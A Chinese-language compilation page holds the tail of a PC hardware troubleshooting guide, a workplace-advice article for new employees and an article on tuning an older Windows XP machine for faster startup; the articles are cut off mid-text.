还原BIOS参数至缺省设置（开机后按[Del]键进入BIOS设置窗口→选中“LoadOptimizedDefaults”项→回车后按[Y]键确认→保存设置退出）；

恢复注册表（开机后按[F8]键→在启动菜单中选择“Commandpromptonly”方式启动至纯DOS模式下→键入“scanreg/restore”命令→选择一个机器正常使用时的注册表备份文件进行恢复）；

排除硬件资源冲突（右击[我的电脑]→[属性]→在[设备管理器]标签下找到并双击标有黄色感叹号的设备名称→在[资源]标签下取消“使用自动的设置”选项并单击[更改设置]按钮→找到并分配一段不存在冲突的资源），

2．用诊断软件测试

即使用专门检查、诊断硬件故障的工具软件来帮助查找故障的原因，如NortonTools（诺顿工具箱）等。诊断软件不但能够检查整机系统内部各个部件（如CPU、内存、主板、硬盘等）的运行状况，还能检查整个系统的稳定性和系统工作能力。如果发现问题会给出详尽的报告信息，便于我们寻找故障原因和排除故障。

3．直接观察

即通过看、听、摸、嗅等方式检查比较明显的故障。例如根据BIOS报警声或Debug卡判断故障发生的部位；观察电源内是否有火花、异常声音；检查各种插头是否松动、线缆是否破损、断线或碰线；电路板上的元件是否发烫、烧焦、断裂、脱焊虚焊；各种风扇是否运转正常等。有的故障现象时隐时现，可用橡皮榔头轻敲有关元件，观察故障现象的变化情况，以确定故障位置。

4．插拔替换

初步确定发生故障的位置后，可将被怀疑的部件或线缆重新插拔，以排除松动或接触不良的原因。例如将板卡拆下后用橡皮擦擦拭金手指，然后重新插好；将各种线缆重新插拔等。如果经过插拔后不能排除故障，可使用相同功能型号的板卡替换有故障的板卡，以确定板卡本身已经损坏或是主板的插槽存在问题。然后根据情况更换板卡。

5．系统最小化

最严重的故障是机器开机后无任何显示和报警信息，应用上述方法已无法判断故障产生的原因。这时我们可以采取最小系统法进行诊断，即只安装CPU、内存、显卡、主板。如果不能正常工作，则在这四个关键部件中采用替换法查找存在故障的部件。如果能正常工作，再接硬盘……以此类推，直到找出引发故障的罪魁祸首。

以上是笔者对检修电脑硬件故障所作的一个大致总结。面对层出不穷的硬件故障，只要我们认真观察，冷静分析，细心操作，对于大部分故障都是可以自己解决的。相信技术与经验的沉淀也会使你逐渐成为一个高手的。

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篇13：教你迈出完美职场第一步

教你迈出完美职场第一步

新人刚刚进入公司的时候心态往往是不大稳定的，据调查显示，职场新人尤其是应届毕业生离职率最高的一段时间，是参加工作1.5年~2.5年之间，而一些从事零售业的员工最容易离职的时间更是短到入职仅仅两周之内。造成这种结果的原因一方面是因为对行业和预期目标产生了失望情绪，而更多的是因为没有很快地融入团队之中，学会和同事、领导及客户进行良好的沟通。如何在适应工作的过程中避免“交流的无奈”，不让自己成为令旁人避而远之的眼中“另类”，这关系到职场新人能否迈出完美的第一步。

全身心投入岗前培训

今年刚大学毕业的萌萌进入了一家保险公司工作，上午和其他新同事去人事处报到时领到了一本《新人培训手册》，“说是要我们抓紧好好研读，过几天还要考试。”萌萌知道这意味着她即将要放弃某些理念和行为方式，努力适应新行业新组织的要求和规范，学习新的工作方式和行为方式。

接下来的几天时间里，公司请到了几位业内经验丰富的行业专家和大学教授在会议室跟新人们授课，周末还安排在广州郊区进行了整整两天的户外拓展训练，让大家冒着40摄氏度左右的高温接受站军姿、爬人梯、打野战等训练任务。萌萌有几次感觉自己快要晕倒并想要放弃，但最后还是咬牙坚持了下来。

“在短短一周的培训过程中收获确实不小，尤其是和新伙伴们一起并肩作战的感觉真好！”萌萌笑着对记者说道。通过岗前培训，新人在短时间内实现思维模式的重大突破和生活方式、工作理念的.重大转变，并且有可能产生质的飞越。

练好抗压能力、忍受力

广州嘉诚海外的夏经理对记者表示，今年公司的网站上每天都有大量的推荐信发过来，因为业务需求也招进了不少有着高学历或是留学归国的新人，

而新人来公司后面临最重要的问题就是首先要能承受得起巨大的压力，必须在规定的时间内将公司分配的任务很好地完成，否则就会给客户带来经济损失。这其中尤其对新人的细心程度有非常严格的要求。

“稍微错一点哪怕仅仅是在表格上打错了一个钩，即便其他细节之处都处理得非常完美，不仅会让整桩生意泡汤，甚至会因此耽误了客户的一生。”夏经理称，“错误的后果就是‘灾难’，这样做的结果只会让新人白干了一场最后走人。”

夏经理同时还谈到，对于从事服务类行业的新人而言，在客户冲自己发脾气的情况下也不能够顶嘴，“即便事实上客户的说法全部错了，也要自己甘愿默默受委屈。”

如今，不少职场新人都是从小在父母呵护和关爱之下成长起来的，在学校的时候凭借优异的成绩也获得了老师和同学们的喜爱和追捧，一旦步入一个完全陌生的工作环境之后，很容易在心理上产生极大的反差。

而面对种种委屈和不满，能够很好地磨炼自己的性情和脾气，这也是无数后来事业有成的成就人士的必修课。

六种讨厌人格要不得

新人在初进职场时，要对自己的言行处处小心、时时留意，尤其是不要成为周围同事和领导心中“排斥”的对象，否则一旦在人们的脑海中留下了不好的印象，就有可能影响到今后职场生涯的顺利进展。

以下就是职场中最令人讨厌的六类新人的类型，

篇14：教你一步一步将电脑调至最佳状态

教你一步一步将电脑调至最佳状态

每天早上打开电脑，是不是觉得自己的机器总是比别人的慢一拍？每次开机引导系统时，启动过程是不是缓慢如蜗牛？每次启动QQ等大程序，系统会不会骤然迟纯下来？电脑使用一段时间后，硬盘空间慢慢被无视吞噬？网上下载的美妙音乐电影，时间一长就是负担，是不是只想收藏精彩部分，其余的删掉。本期

1.优先从硬盘启动

有不少人忽视了电脑中的设备的启动顺序，有不少人默认会从光驱启动，这样在启动时就会读取光驱，如果光驱中有光盘将会延迟你的开机。就算没有光盘，也会让系统启动时读取一下光驱，对于光驱的寿命没有好处。因此，我们有必要将其关闭。

按下Del键进入BIOS设置程序，选择BIOS Features Setup菜单，然后按下回车键，进入参数设置选项界面，在这个界面中找到并选中选项Boot Sequence，然后按下Page Down键或者Page Up键，选择CDROM,C,A设置系统优先从C盘启动，最后连接按下Esc键退回到根菜单中并选择保存菜单或直接按下F10键保存设置即可。

如果你使用的是Phoneix 的BIOS，则在开机时按下F2键，进入BIOS设置后，选择Boot选项，然后找到HardDrive项，连续按下“+”号键，使其调到最前即可保证机器优先从硬盘启动。

2.启用Quick Boot

多数的电脑BIOS中有一项Quick Boot项，在“Advanced BIOS Features（BIOS高级选项）”下，将其设置为Enable，这样BIOS在每次启动时都不会对硬件进行检测，可以大大加快系统启动速度。

3.屏蔽掉不必要的设备

尽管现在的并口和串口已经不再流行，但有不少主板上仍有这些接口。这时，我们完全可以将其在BIOS中屏蔽掉，这样也可以加快系统的启动速度。进入BIOS，然后选择“PNP，PCI&ONBOARD I/O”项，选中其下的Onboard Serial Port1后，按下PageUp或PageDown键，将它设置为Disable（禁止）状态即可关掉串口，按下F10键，保存修改，重新启动系统即可。当然，利用此法也可以锁住IDE2、并口、USB和软驱等，这样可以让Windows不加载它们的驱动程序，自然会快出许多。经验口袋布袋先生

4.在Windows中禁止不必要硬件

对于机器上并不使用的硬件，不必让Windows再加载它们的驱动程序，可以打开“控制面板”，双击“系统”图标，然后单击“硬件”标签，再单击“设备管理器”按钮打开“设备管理器”，右击相应的设备，选择“属性”，再在打开的窗口中单击“设备用法”下拉列表框，选择“不要使用这个设备（停用）”，单击“确定”按钮两次确认更改，

5.重新安装硬件

如果你的电脑上安装了多个硬件，但是确认它们又不再有用了。那一个个地卸载并不是明智之举，因为多数人并不知道这些驱动散落在硬盘何处，根本不可能弄干净。这时我们可以将所有不用的硬件取下，然后把Windows安装光盘插入到光驱中，并打开光盘SUPPORTTOOLS文件夹，双击DEPLOY.CAB文件，把其中的所有文件解压到一文件夹下（如d:Sysprep），双击其中的sysprep.exe文件，并按下“确定”按钮接受警告信息。并选中窗口中“不重置激活的宽限期”、“使用最小化安装”和“检测非即插即用硬件”复选框。按下“重新封闭”按钮，机器会自动关闭。重新启动计算机后，Windows XP将会让我们接受协议，输入序列号，并可以指定系统管理员和密码，同时会重新检测硬件，并重新安装驱动程序。因为Windows重新检测并安装了驱动，所以这样系统中的硬件是“干净”的，不再会存在冗余的驱动，系统自然会快出许多。

6.禁止不必要的服务

现在多数人使用的是Windows 2000/XP系统，不过其中有90多个服务，默认开启的则达30个！事实上，只要6个就足够了，禁止所有的“不需要”的服务将节省12-70MB的内存，让我们的电脑的速度更快。

按下Win+R，再services.msc并回车就可以调出系统服务管理窗口，这时可以看到系统中的服务，每一个名称后面紧跟着描述，双击任何一个服务，都会弹出一个其属性窗口。如果感觉这个服务没有太多作用，可以单击“停止”按钮，单击“启动”按钮可开启该服务。调整完服务的开启状态后，重启系统即可生效。

7.禁止自动运行的程序

如果每次启动电脑，总感觉得很慢。在启动完成后，发现右下角的托盘区总会一个一个显示着一些图标，那就是你自动启动程序太多了。将它们清除掉，也可以加快启动速度，更重要的是，可以将一些隐藏的木马去掉！

先从下载软件，然后用WinRAR打开，再双击其中的StartupCPL.exe完成安装。接着打开“控制面板”，双击其中的Startup项，在打开的对话框中即可方便地对“启动”文件夹和注册表中的启动项目进行管理，如右击空白处新建一个启动项，右击已有的启动项目可以对其进行编辑、删除、禁用和立刻运行等操作。

程序“根据地”减肥进行时

现在的硬盘容量动辄上百个GB，应该是比较大了。但是以微软为首的软件厂商们丝毫不体恤我们，安装个Windows XP要1.5GB，Windows 2003将近2GB的空间，Office 2003完全安装要800多MB（想当初Windows 95才几十MB）……，所以，如果你稍不留神，你的空间就已经不够了。不过，在我们的系统中也有很多的垃圾，将这些大户清除后，会让系统清爽很多。